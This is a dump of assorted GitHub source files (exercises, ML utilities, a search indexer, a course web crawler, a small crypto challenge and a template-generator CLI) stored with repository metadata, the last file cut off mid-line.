fibonacci_number_again_naive(n, m):\n assert 0 <= n <= 10 ** 18 and 2 <= m <= 10 ** 3\n\n if n <= 1:\n return n\n\n previous, current = 0, 1\n for _ in range(n - 1):\n previous, current = current, (previous + current) % m\n\n return current\n\n\ndef fibonacci_number_again(n, m):\n assert 0 <= n <= 10 ** 18 and 2 <= m <= 10 ** 3\n\n #type here\n a = [0, 1, 1]\n modu = [0,1,1]\n check = False\n # print(modu)\n if n > 2:\n # if m > 2:\n # while check == False:\n for i in range(2, n):\n if check == True:\n break\n\n # for i in range(2, min(m,1000)):\n # print(a)\n f = a[i - 1] + a[i]\n a.append(f)\n\n # Check if sequence is repeated yet\n\n if i!= 2 and modu[i] == modu[i-1] == 1 and modu[i-2] == 0:\n check = True\n else:\n modf = f % m\n # print(modf)\n modu.append(modf)\n\n # del modu[i - 2:i + 1]\n del modu[i - 3:i]\n period = len(modu)\n # print(n,period, n%period)\n\n return modu[n%period]\n\n # return a[n]\n # return modu\n # return str(a[n])[-1]\n # if i == n:\n # return a\n else:\n return a[n]\n # return str(a[n])\n\n\nif __name__ == '__main__':\n # input_n, input_m = map(int, input().split())\n # print(fibonacci_number_again(input_n, input_m))\n n,m = 2015, 4\n print(fibonacci_number_again(n,m))\n","repo_name":"PRSMendis/Algorithmic_Toolbox","sub_path":"Algorithmic Warm Up/Fibonacci Number Again/fibonacci_number_again.py","file_name":"fibonacci_number_again.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"6262950786","text":"from .cache import cache\nfrom .registry import cache_registry\nfrom .settings import api_settings\n\n\ndef get_cache_key(instance, serializer, pattern=False):\n \"\"\"Get cache key of instance\"\"\"\n\n if not getattr(instance, 'pk', None):\n return None\n\n params = {\n \"id\": getattr(instance, 'pk'),\n \"model_name\": instance._meta.get('collection'),\n \"serializer_name\": serializer.__name__\n }\n\n key = api_settings.SERIALIZER_CACHE_KEY_FORMAT.format(**params)\n\n return '%s*' % key if pattern else key\n\n\ndef clear_for_instance(instance):\n \"\"\"Clear the cache for the given instance\"\"\"\n\n keys = []\n serializers = cache_registry.get(instance.__class__)\n\n for serializer in serializers:\n clear_key = get_cache_key(instance, serializer, pattern=api_settings.REMOVE_BY_PATTERN)\n if clear_key:\n keys.append(clear_key)\n\n if api_settings.REMOVE_BY_PATTERN:\n for key in keys:\n cache.delete_pattern(key)\n else:\n cache.delete_many(keys)\n","repo_name":"albertomr86/drf-mongoengine-cache","sub_path":"drf_mongoengine_cache/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"} +{"seq_id":"3562699258","text":"\"\"\"empty message\n\nRevision ID: 508d7669521f\nRevises: 9a216fa5b1f4\nCreate Date: 2016-05-15 17:46:43.419174\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '508d7669521f'\ndown_revision = '9a216fa5b1f4'\n\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\ndef upgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('keyword_relevance')\n op.drop_table('image')\n ### end Alembic commands ###\n\n\ndef downgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.create_table('image',\n sa.Column('id', sa.INTEGER(), server_default=sa.text(u\"nextval('image_id_seq'::regclass)\"), nullable=False),\n sa.Column('url', sa.VARCHAR(), autoincrement=False, nullable=True),\n sa.Column('image_url', sa.VARCHAR(), autoincrement=False, nullable=True),\n sa.PrimaryKeyConstraint('id', name=u'image_pkey'),\n postgresql_ignore_search_path=False\n )\n op.create_table('keyword_relevance',\n sa.Column('id', sa.INTEGER(), nullable=False),\n sa.Column('keyword', sa.VARCHAR(), autoincrement=False, nullable=True),\n sa.Column('relevance', postgresql.DOUBLE_PRECISION(precision=53), autoincrement=False, nullable=True),\n sa.Column('parent_id', sa.INTEGER(), autoincrement=False, nullable=True),\n sa.ForeignKeyConstraint(['parent_id'], [u'image.id'], name=u'keyword_relevance_parent_id_fkey'),\n sa.PrimaryKeyConstraint('id', name=u'keyword_relevance_pkey')\n )\n ### end Alembic commands ###\n","repo_name":"mwee/ImageSearch","sub_path":"migrations/versions/508d7669521f_.py","file_name":"508d7669521f_.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"16265928358","text":"from functools import reduce\n\ndef product(x, y):\n return x * y\n\nprint(reduce(product, [1,2,3,4,5]))\n\n# Same as the following iterative version:\ntotal = 1\nfor x in [1,2,3,4,5]:\n total = total * x\n\nprint(total)\n\n# Same as the following recursive version:\ndef factorial(n):\n if n == 1:\n return 1\n return n * factorial(n-1)\n\nprint(factorial(5))\n","repo_name":"duliodenis/python_master_degree","sub_path":"unit_04/10-Functional_Python/3-Lambda-Lambada/1_reduce.py","file_name":"1_reduce.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"53"} +{"seq_id":"73975500648","text":"#!/usr/bin/python3\n\ndef __showClients():\n '''\n show clients availble for obspy\n '''\n\n from obspy.clients.fdsn.header import URL_MAPPINGS\n \n names = []\n for key in sorted(URL_MAPPINGS.keys()):\n\n names.append(\"{0:<11} {1}\".format(key, URL_MAPPINGS[key]))\n return names\n\n## END OF FILE\n","repo_name":"andbrocode/andbro_python","sub_path":"andbro__showClients.py","file_name":"andbro__showClients.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"26309487143","text":"import math\n\nguests_count = int(input())\nbudged = int(input())\n\neaster_bread_price = 4\negg_price = 0.45\neggs_per_person = 2\n\neaster_bread_total = 0\neaster_bread_price_total = 0\negg_total = 0\negg_price_total = 0\ntotal_price = 0\nleft_money = 0\nneeded_money = 0\n\nfor i in range(1, guests_count + 1):\n easter_bread_total = guests_count / 3\n easter_bread_price_total = (math.ceil(easter_bread_total) * easter_bread_price)\n break\n\nfor i in range(1, guests_count + 1):\n egg_total = guests_count * 2\n egg_price_total = egg_total * egg_price\n break\n\ntotal_price = easter_bread_price_total + egg_price_total\n\nif total_price <= budged:\n left_money = budged - total_price\n print(f\"Lyubo bought {math.ceil(easter_bread_total)} Easter bread and {egg_total} eggs.\\nHe has {left_money:.2f} lv. left.\")\nelse:\n needed_money = total_price - budged\n print(f\"Lyubo doesn't have enough money.\\nHe needs {needed_money:.2f} lv. more.\")\n\n\n\n","repo_name":"Dafov/Python-Dev-SoftUni","sub_path":"01. Programming Basics with Pyton/8. Exam-prep/easter_guests.py","file_name":"easter_guests.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"28636616967","text":"import tensorflow as tf\nimport tensorflow.contrib as tf_contrib\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\nimport numpy as np\nimport cv2\nimport os\n\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import cohen_kappa_score\n\n##########################################################\n### Net measure\n##########################################################\ndef net_measure(pred, labels):\n correct_pred = tf.equal(tf.argmax(pred, 1),tf.argmax(labels, 1))\n accuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32))\n\n return correct_pred, accuracy\n\ndef get_accuracy(preds, labels):\n \"\"\"\n Overall accuracy\n \"\"\"\n preds = np.reshape(preds, (-1))\n labels = np.reshape(labels, (-1))\n accuracy = round(accuracy_score(y_true = labels, y_pred = preds), 5)\n \"\"\"\n Per_class_recall\n \"\"\"\n matrix = confusion_matrix(y_true = labels, y_pred = preds)\n print (\"confusion_matrix:\", matrix)\n recalls = matrix.diagonal().astype('float')/matrix.sum(axis = 1)\n\n normal_recall = round(recalls[0], 5)\n inflam_recall = round(recalls[1], 5)\n bleed_recall = round(recalls[2], 5)\n\n \"\"\"\n Cohen kappa\n \"\"\" \n kappa = round(cohen_kappa_score(y1 = preds, y2 = labels), 5)\n\n return accuracy, normal_recall, bleed_recall, inflam_recall, kappa\n\n\n####################################################\n### Regular operations\n####################################################\ndef make_img(_input, dst_size = 128):\n \"\"\"\n Normalize the given input and resize it into an image with size [128, 128, 3]\n \"\"\"\n x = tf.nn.relu(_input)\n\n if int(x.get_shape()[-1])!= 1:\n x = tf.reduce_mean(x, axis = -1, keepdims = True)\n\n x_max = tf.reduce_max(x, axis = [1, 2, 3], keepdims = True)\n x_min = tf.reduce_min(x, axis = [1, 2, 3], keepdims = True)\n\n x_norm = tf.div(x - x_min, x_max - x_min)\n output = tf.image.resize_images(tf.tile(x_norm, (1,1,1,3)), (dst_size, dst_size))\n\n return output\n\n\ndef save_img(img, img_index, root_path, img_name, mode = \"image\"):\n img = np.uint8(255 * img)\n if mode == \"image\": \n img = cv2.cvtColor(img, cv2.COLOR_RGB2BGR)\n elif mode == \"heatmap\":\n img = cv2.applyColorMap(img, cv2.COLORMAP_JET)\n img_path = os.path.join(root_path, str(img_index) + img_name)\n cv2.imwrite(img_path, img)","repo_name":"hathawayxxh/WCE-SOTA-methods","sub_path":"2019 Sensors/ops.py","file_name":"ops.py","file_ext":"py","file_size_in_byte":2401,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"53"} +{"seq_id":"10286397298","text":"import os\nimport re\nimport time\nimport logging\n\n\nfrom tornado.httpclient import HTTPClient\nfrom lxml import html\n\nfrom whoosh.fields import Schema, ID, KEYWORD, TEXT\nfrom whoosh import index\nfrom whoosh.qparser import QueryParser\nfrom whoosh.query import Variations\n\nfrom whoosh.support.charset import accent_map\nfrom whoosh.analysis import RegexTokenizer\nfrom whoosh.analysis import CharsetFilter, LowercaseFilter, StopFilter\nfrom newebe.lib.stopwords import stoplists\n\nfrom newebe.config import CONFIG\n\nlogger = logging.getLogger(\"newebe.lib\")\n\nchfilter = CharsetFilter(accent_map)\nstoplist = stoplists[\"en\"].union(stoplists[\"fr\"])\nanalyzer = RegexTokenizer() | LowercaseFilter() | \\\n StopFilter(stoplist=stoplist) | chfilter\nschema = Schema(content=TEXT(analyzer=analyzer),\n docType=TEXT,\n docId=ID(stored=True),\n tags=KEYWORD)\n\n\nclass Indexer():\n \"\"\"\n Indexer simplifies objects indexation and search with the whoosh api.\n \"\"\"\n\n def __init__(self):\n \"\"\"\n Set index, create it if it does not exists.\n \"\"\"\n\n if CONFIG.main.debug:\n dirpath, filename = \\\n os.path.split(os.path.realpath(__file__))\n\n index_path = os.path.join(dirpath, \"..\", \"indexes\")\n else:\n index_path = os.path.join(CONFIG.main.path, \"indexes\")\n\n if not os.path.exists(index_path):\n os.mkdir(index_path)\n self.index = index.create_in(index_path, schema)\n else:\n self.index = index.open_dir(index_path)\n\n def index_microposts(self, microposts, checkUrl=True):\n \"\"\"\n Add given microposts to index, tag and content are stored.\n \"\"\"\n\n self.writer = self.index.writer()\n for post in microposts:\n\n text = post.content\n if checkUrl:\n urls = self._extract_urls(post.content)\n text = self._augment_micropost(post, urls)\n\n self.writer.update_document(content=text,\n docType=u\"micropost\",\n docId=unicode(post._id),\n tags=post.tags)\n self.writer.commit()\n\n def index_micropost(self, micropost, checkUrl=True):\n \"\"\"\n Add given micropost to index, tag and content are stored.\n \"\"\"\n\n text = micropost.content\n if checkUrl:\n urls = self._extract_urls(micropost.content)\n text = self._augment_micropost(micropost, urls)\n\n self.writer = self.index.writer()\n self.writer.update_document(content=text,\n docType=u\"micropost\",\n docId=unicode(micropost._id),\n tags=micropost.tags)\n self.writer.commit()\n\n def search_microposts(self, word):\n \"\"\"\n Return a list of microposts that contains given word.\n \"\"\"\n\n time.sleep(1)\n parser = QueryParser(\"content\", schema=schema,\n termclass=Variations)\n query = parser.parse(word)\n\n with self.index.searcher() as searcher:\n results = searcher.search(query)\n return [result[\"docId\"] for result in results]\n\n def remove_doc(self, doc):\n \"\"\"\n Remove given doc from index (doc of which docId is equal to id).\n \"\"\"\n\n self.writer = self.index.writer()\n self.writer.delete_by_term(\"docId\", unicode(doc._id))\n self.writer.commit()\n\n def _extract_urls(self, text):\n \"\"\"\n Extract Urls from given text.\n \"\"\"\n\n return re.findall(\"https?://[\\da-z\\.-]+\\.[a-z\\.]{2,6}/[/\\w\\.-]*/?\",\n text)\n\n def _augment_micropost(self, post, urls, checkUrl=True):\n '''\n Grab meta field from each url given in parameter. then add its content\n to given micropost (for indexation purpose).\n '''\n\n text = unicode(post.content)\n for url in urls:\n client = HTTPClient()\n try:\n response = client.fetch(url)\n doc = html.fromstring(response.body)\n\n title = doc.xpath('//head/title')\n doc.xpath('/html/head/meta[@name=\"description\"]/@content')\n description = doc.xpath(\n '/html/head/meta[@name=\"description\"]/@content')\n\n if title:\n text += \" \" + title[0].text_content()\n if description:\n text += \" \" + description[0]\n except:\n logger.error(\"A problem occured while indexing micropost links\")\n\n return text\n","repo_name":"gelnior/newebe","sub_path":"newebe/lib/indexer.py","file_name":"indexer.py","file_ext":"py","file_size_in_byte":4725,"program_lang":"python","lang":"en","doc_type":"code","stars":108,"dataset":"github-code","pt":"53"} +{"seq_id":"10744345583","text":"class Solution:\n def searchMatrix(self, matrix: List[List[int]], target: int) -> bool:\n if len(matrix)== 1 :\n for i in matrix[0]:\n if i == target:\n return True\n return False\n if len(matrix[0]) == 1:\n for i in range(len(matrix)):\n if matrix[i][0] == target:\n return True\n return False\n top,right = 0,len(matrix[0]) - 1\n while top < len(matrix) and right > -1:\n val = matrix[top][right]\n if val == target:\n return True\n if val < target:\n top += 1\n else:\n right -= 1\n return False\n \n ","repo_name":"princeamitlali/leet_code","sub_path":"74-search-a-2d-matrix/74-search-a-2d-matrix.py","file_name":"74-search-a-2d-matrix.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"26839113126","text":"from gym.spaces.box import Box\nfrom gym.spaces.discrete import Discrete\nimport numpy as np\n\n\nclass RandPolicy:\n name = \"random\"\n discrete_action = False\n\n def __init__(self, observation_space, action_space, num_envs):\n print(type(action_space))\n if isinstance(action_space, Box):\n self.act_size = len(action_space.shape)\n self.act_low = action_space.low\n self.act_high = action_space.high\n elif isinstance(action_space, Discrete):\n self.act_size = action_space.n\n self.act_low = 0\n self.act_high = self.act_size\n self.discrete_action = True\n\n self.num_envs = num_envs\n\n def act(self, obs):\n if self.discrete_action:\n return np.random.randint(self.act_high, size=[self.num_envs])\n else:\n return np.random.uniform(np.tile(self.act_low[None, ...], [self.num_envs, 1]),\n np.tile(self.act_high[None, ...], [self.num_envs, 1]))\n\n\ndef dynamics_data_gen(env_name='Reacher-v2', start_seed=0, timesteps=10, n_parallel_envs=1, width=300, height=240):\n import gym # import locally so that caller can patch gym\n\n def make_env(seed):\n def _():\n env = gym.make(env_name)\n env.seed(seed)\n return env\n\n return _\n\n # Uncomment this to show the bug\n # from requests_futures.sessions import FuturesSession\n # session = FuturesSession()\n # session.get('http://www.google.com', )\n\n from subproc_vec_env import SubprocVecEnv\n # from baselines.common.vec_env.subproc_vec_env import SubprocVecEnv\n\n env = SubprocVecEnv([make_env(s) for s in range(start_seed, start_seed + n_parallel_envs)])\n\n policy = RandPolicy(env.observation_space, env.action_space, env.num_envs)\n\n rollouts = []\n obs = env.reset()\n for i in range(timesteps):\n # fs = env.render(\"rgb\", width=width, height=height)\n fs = env.render(\"rgb_array\", width=width, height=height)\n acs = policy.act(obs)\n rollouts.append(dict(obs=obs, acs=acs, views=fs))\n obs, rewards, dones, infos = env.step(acs)\n\n import pandas as pd\n return {k: np.stack(v) for k, v in pd.DataFrame(rollouts).items()}\n\n\ndef main(env_id=\"Reacher-v2\"):\n # env_name = \"PointMass-v0\"\n samples = dynamics_data_gen(env_name=env_id, start_seed=0, timesteps=50, n_parallel_envs=5, width=28, height=28)\n\n for k, v in samples.items():\n print(k, v.shape)\n\n video = np.swapaxes(samples['views'], 0, 1).reshape(-1, 28, 28, 3)\n from ml_logger import logger\n logger.log_video(video, 'test.mp4')\n\n\nif __name__ == \"__main__\":\n from ge_world import IS_PATCHED\n\n assert IS_PATCHED, \"need to patch\"\n\n main(\"GoalMassDiscrete-v0\")\n","repo_name":"geyang/mujoco_py_subproc_render_osx_reproduction","sub_path":"point_mass_random_gen.py","file_name":"point_mass_random_gen.py","file_ext":"py","file_size_in_byte":2768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"18669419081","text":"lstContatos=[]\r\n\r\ndef adicionarContatos():\r\n while True:\r\n print('-'*26)\r\n nome=str(input('Nome: '))\r\n sobrenome=str(input('Sobrenome: '))\r\n telefone=str(input('Telefone: '))\r\n endereco=str(input('Endereco: '))\r\n email=str(input('Email: '))\r\n for i, contato in enumerate(lstContatos):\r\n if contato[4] == email:\r\n print('Email já cadastrado')\r\n return\r\n contato=[nome, sobrenome, telefone, endereco, email]\r\n lstContatos.append(contato)\r\n sair=int(input('Deseja fazer mais outro cadastro ?\\n [1]-Sim / [2]-Não : '))\r\n if sair==2:\r\n break\r\n \r\n \r\ndef listarContatos():\r\n print('--------------------------')\r\n print('Nome\\t\\t\\tTelefone')\r\n for i in range(0,len(lstContatos)):\r\n print(lstContatos[i][0],lstContatos[i][1]+'\\t\\t'+lstContatos[i][2])\r\n print('\\n')\r\n\r\ndef procurarContatos():\r\n print('--------------------------')\r\n opcoes=int(input('Deseja procurar contato por:\\n [1]-Nome / [2]-Endereço: '))\r\n if opcoes==1:\r\n procurar=input('Digite nome: ')\r\n print('--------------------------')\r\n contato = []\r\n for i, contato in enumerate(lstContatos):\r\n if contato[0]==procurar:\r\n print(lstContatos[i][0],lstContatos[i][1]+'\\t\\t'+str(lstContatos[i][2]))\r\n print(lstContatos[i][3]+'\\t\\t'+str(lstContatos[i][4]))\r\n print('--------------------------')\r\n return\r\n elif opcoes==2:\r\n procurar=input('Digite endereço: ')\r\n print('--------------------------')\r\n contato = []\r\n for i, contato in enumerate(lstContatos):\r\n if contato[3]==procurar:\r\n print(lstContatos[i][0],lstContatos[i][1]+'\\t\\t'+lstContatos[i][3])\r\n print('--------------------------')\r\n return\r\n print('Contato não encontrado.')\r\n print('\\n') \r\n\r\ndef deletarContato():\r\n print('--------------------------')\r\n excluir=input('Digite email do contato: ')\r\n contato=[]\r\n for i, contato in enumerate(lstContatos):\r\n if contato[4]==excluir:\r\n opcao=int(input('Deseja remover esse contato ? [1]-Sim / [2]-Não : '))\r\n if opcao==1:\r\n lstContatos.pop(i)\r\n print('Contato deletado com sucesso')\r\n print('\\n')\r\n return\r\n elif opcao==2:\r\n print('Contato não deletado')\r\n print('\\n')\r\n return \r\n print('Contato não encontrado')\r\n\r\ndef editarContato():\r\n print('--------------------------')\r\n editar=input('Digite email do contato: ')\r\n contato = []\r\n for i, contato in enumerate(lstContatos):\r\n if contato[4]==editar:\r\n opcao=int(input('Deseja editar o nome ?: [1]-Sim / [2]-Não: '))\r\n if opcao==1:\r\n nome = input('Digite nome: ')\r\n contato[0]=nome\r\n opcao=int(input('Deseja editar o sobrenome?: [1]-Sim / [2]-Não: '))\r\n if opcao==1:\r\n sobrenome = input('Digite sobrenome: ')\r\n contato[1]=sobrenome\r\n opcao=int(input('Deseja editar o telefone ?: [1]-Sim / [2]-Não: '))\r\n if opcao==1:\r\n telefone = input('Digite telefone: ')\r\n contato[2]=telefone\r\n opcao=int(input('Deseja editar endereço?: [1]-Sim / [2]-Não: ')) \r\n if opcao==1:\r\n endereço = input('Digite endereço: ')\r\n contato[3]=endereço\r\n opcao=int(input('Deseja editar o email?: [1]-Sim / [2]-Não: '))\r\n if opcao==1:\r\n email = input('Digite email: ')\r\n contato[4]=email\r\n lstContatos[i]=contato\r\n print('Contato Editado com sucesso.')","repo_name":"nickborgesx/Agenda-Telefonica","sub_path":"controlador.py","file_name":"controlador.py","file_ext":"py","file_size_in_byte":3877,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"70791030248","text":"from pathlib import Path\nimport ezdxf\n\nfrom ezdxf.render.forms import sphere\n\nDIR = Path('~/Desktop/Outbox').expanduser()\n\ndoc = ezdxf.new()\ndoc.layers.new('form', dxfattribs={'color': 5})\ndoc.layers.new('csg', dxfattribs={'color': 1})\ndoc.layers.new('normals', dxfattribs={'color': 6})\n\ndoc.set_modelspace_vport(6, center=(5, 0))\nmsp = doc.modelspace()\n\nsphere1 = sphere(count=32, stacks=16, radius=1, quads=True)\n\nsphere1.render(msp, dxfattribs={'layer': 'form'})\nsphere1.render_normals(msp, dxfattribs={'layer': 'normals'})\n\ndoc.saveas(DIR / 'sphere.dxf')\n","repo_name":"DatacloudIntl/dc_ezdxf","sub_path":"examples/render/render_sphere.py","file_name":"render_sphere.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"9309512969","text":"import re\nfrom bs4 import BeautifulSoup\nfrom urllib.parse import urlparse, urldefrag, urljoin\n\n\ndef scraper(url, resp, counter):\n links = extract_next_links(url, resp, counter)\n return [link for link in links if is_valid(link)]\n\n\ndef extract_next_links(url, resp, counter):\n # Implementation required.\n # url: the URL that was used to get the page\n # resp.url: the actual url of the page\n # resp.status: the status code returned by the server. 200 is OK, you got the page. Other numbers mean that there was some kind of problem.\n # resp.error: when status is not 200, you can check the error here, if needed.\n # resp.raw_response: this is where the page actually is. More specifically, the raw_response has two parts:\n # resp.raw_response.url: the url, again\n # resp.raw_response.content: the content of the page!\n # Return a list with the hyperlinks (as strings) scrapped from resp.raw_response.content\n\n links = []\n\n if resp.status == 200 and resp.raw_response: # process the page only on 200 success\n soup = BeautifulSoup(resp.raw_response.content, 'lxml')\n # pass soup content to the counter\n low_info = counter.process_soup(soup, urlparse(resp.url))\n\n if low_info:\n return links\n\n # get urls from the 'href' attribute within tags e.g., \n for a_tag in soup.find_all('a'):\n # get absolute url by joining the two if necessary\n link = urljoin(url, a_tag.get('href'))\n # remove the fragment from the url and append to the list\n links.append(urldefrag(link).url)\n\n return links\n\n\ndef is_valid(url):\n # Decide whether to crawl this url or not.\n # If you decide to crawl it, return True; otherwise return False.\n # There are already some conditions that return False.\n try:\n parsed = urlparse(url)\n domain = parsed.netloc.lower()\n path = parsed.path.lower()\n query = parsed.query.lower()\n\n if parsed.scheme not in set([\"http\", \"https\"]):\n return False\n\n # Check for valid domain\n domains = re.compile(r\"\"\"\n .*\\.(\n ics.uci.edu|\n cs.uci.edu|\n informatics.uci.edu|\n stat.uci.edu)$\n \"\"\", re.VERBOSE)\n if not domains.match(domain):\n return False\n\n # Check domain & traps\n if domain == \"flamingo.ics.uci.edu\" and (\"/src\" in path or \"/.svn\" in path):\n return False\n if domain in [\"swiki.ics.uci.edu\", \"wiki.ics.uci.edu\"] and \"do\" in query:\n return False\n if domain in [\"archive.ics.uci.edu\", \"cbcl.ics.uci.edu\"] and query != '':\n return False\n if domain == \"wics.ics.uci.edu\" and (\"event\" in path):\n return False\n\n # Check path\n if any(i in path for i in [\"login\", \"img\", \"pdf\"]):\n return False\n # Check repetitive path\n if re.search(r'\\b([/\\w]+)(\\1){2,}\\b', path):\n return False\n\n # Check file extension\n if re.match(\n r\".*\\.(css|js|bmp|gif|jpe?g|ico|odc\"\n + r\"|png|tiff?|mid|mp2|mp3|mp4|mat|z|cpp|ipynb\"\n + r\"|wav|avi|mov|mpeg|ram|m4v|mkv|ogg|ogv|pdf\"\n + r\"|ps|eps|tex|ppt|pptx|doc|docx|xls|xlsx|names\"\n + r\"|data|dat|exe|bz2|tar|msi|bin|7z|psd|dmg|iso\"\n + r\"|epub|dll|cnf|tgz|sha1|py|bam|m|r\"\n + r\"|thmx|mso|arff|rtf|jar|csv|db|txt\"\n + r\"|rm|smil|wmv|swf|wma|zip|rar|gz|odp|mpg|bib|ppsx|war|java|xml|h|cc?|apk|sql)$\", path):\n return False\n\n # Check query\n if re.match(\n r\".*\\.(css|js|bmp|gif|jpe?g|ico|odc\"\n + r\"|png|tiff?|mid|mp2|mp3|mp4|mat|z|cpp|ipynb\"\n + r\"|wav|avi|mov|mpeg|ram|m4v|mkv|ogg|ogv|pdf\"\n + r\"|ps|eps|tex|ppt|pptx|doc|docx|xls|xlsx|names\"\n + r\"|data|dat|exe|bz2|tar|msi|bin|7z|psd|dmg|iso\"\n + r\"|epub|dll|cnf|tgz|sha1|py|bam|m|r\"\n + r\"|thmx|mso|arff|rtf|jar|csv|db|txt\"\n + r\"|rm|smil|wmv|swf|wma|zip|rar|gz|odp|mpg|bib|ppsx|war|java|xml|h|cc?|apk|sql)$\", query):\n return False\n if query and any(i in query for i in [\"version=\", \"format=txt\", \"share=\", \"login\"]):\n return False\n\n return True\n\n except:\n return False\n","repo_name":"NuochengLin/search-engine-group-15","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":4352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"35390908271","text":"from Crypto.Util.number import getPrime, long_to_bytes, bytes_to_long, isPrime\nfrom string import printable, ascii_letters\nfrom secret import FLAG\nimport os\n\nsecret = os.urandom(len(FLAG))\n\ndef OSP(plain, secret):\n assert len(plain) == len(secret), 'The length has to be idenntical!'\n ct = []\n p = getPrime(256)\n for f, k in zip(FLAG, secret):\n ct.append((f * p + k))\n return ct, p \n\nct, p = OSP(FLAG, secret)\nprint(ct)\n\n\n\n\ndef isprime(num):\n for n in range(2,int(num**0.5)+1):\n if num%n==0:\n return False\n return True\n\narr = []\nfor i in range(0,2**256-1):\n if isprime(i):\n arr.append(i)\n\nprint(arr)","repo_name":"shatha893/notes","sub_path":"Security/_1_Technical/_) Labs/CTF/Dirty Money/Nimble/ASCWG/OSP.py","file_name":"OSP.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"21450550905","text":"import collections\n\n\nclass Solution(object):\n def numSmallerByFrequency(self, queries, words):\n \"\"\"\n T:O(nlogn) S:O(n)\n Runtime: 132 ms, faster than 63.33% of Python online submissions for Compare Strings by Frequency of the Smallest Character.\n Memory Usage: 13.4 MB, less than 75.00% of Python online submissions for Compare Strings by Frequency of the Smallest Character.\n :type queries: List[str]\n :type words: List[str]\n :rtype: List[int]\n \"\"\"\n def freq(w):\n counter = collections.Counter(w)\n key = sorted(counter.keys())\n return counter[key[0]]\n\n w_freq = [freq(w) for w in words]\n w_freq.sort()\n\n ans = []\n for q in queries:\n freq_q = freq(q)\n l, r = 0, len(w_freq)\n while l < r:\n mid = (l+r-1)/2\n if w_freq[mid] > freq_q:\n r = mid\n else:\n l = mid+1\n ans.append(len(w_freq)-l)\n return ans","repo_name":"jerrt2003/leetcode-in-python","sub_path":"1170_Compare_Strings_by_Frequency_of_the_Smallest_Character/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"14193092366","text":"import click\r\nimport os\r\nimport pandas as pd\r\nimport csv\r\n\r\n@click.group()\r\ndef cli():\r\n pass\r\n\r\n@click.command(help=\"Generating required file\")\r\n@click.argument(\"language\", type=str, required=True)\r\n@click.option(\"-name\", default=\"hello-world\",show_default=True)\r\ndef generate(language,name):\r\n\r\n generate= language.lower()\r\n script_dir = os.path.dirname(__file__) #<-- absolute dir the script is in\r\n rel_path = \"templates\"\r\n abs_file_path = os.path.join(script_dir, rel_path)\r\n df= pd.read_csv(abs_file_path+\"/templates.csv\")\r\n for i in range(len(df)):\r\n if generate== df[\"Language\"][i]:\r\n generate= df[\"Extensions\"][i]\r\n break\r\n if generate[0]!='.':\r\n raise Exception(\"Language not supported. Proceed to add\")\r\n file=check_file_name(name,generate)\r\n f= open(file,'w')\r\n temp=open(abs_file_path+'\\\\_'+ generate,'r')\r\n f.write(temp.read())\r\n f.close()\r\n temp.close()\r\n\r\n@click.command(help=\"Adding new templates\")\r\n@click.argument(\"lang\")\r\n@click.argument(\"file\")\r\n\r\ndef add(lang,file):\r\n count=0\r\n str=\"\"\r\n lang= lang.lower()\r\n for i in file:\r\n if i != '.':\r\n str=str+ i\r\n count= count+1\r\n else:\r\n break\r\n\r\n extension=file[-(len(file)-count):]\r\n new_file=\"_\"+extension\r\n\r\n script_dir = os.path.dirname(__file__) #<-- absolute dir the script is in\r\n rel_path = \"templates\"\r\n abs_file_path = os.path.join(script_dir, rel_path)\r\n if os.path.isfile(abs_file_path+'\\\\'+new_file):\r\n click.echo(\"File already exists\")\r\n else:\r\n n_f= open(abs_file_path+'\\\\'+ new_file ,'w')\r\n f= open(file, 'r')\r\n n_f.write(f.read())\r\n f.close()\r\n n_f.close()\r\n click.echo(\"Template added\")\r\n csvfile= open(abs_file_path+'\\\\'+ \"templates.csv\",'a+')\r\n writer=csv.writer(csvfile)\r\n writer.writerow([lang,extension])\r\n csvfile.close()\r\n\r\ndef check_file_name(name,generate):\r\n file= name +generate\r\n while True:\r\n if os.path.exists('./'+file):\r\n name=click.prompt(\"%s already exists.\\nPress Y to overwrite it or give a new name\" %file)\r\n if name ==\"Y\" or name==\"y\":\r\n return file\r\n else:\r\n file= name +\".\"+generate\r\n else:\r\n return file\r\n\r\n\r\ncli.add_command(generate)\r\ncli.add_command(add)\r\n\r\nif __name__==\"__main__\":\r\n 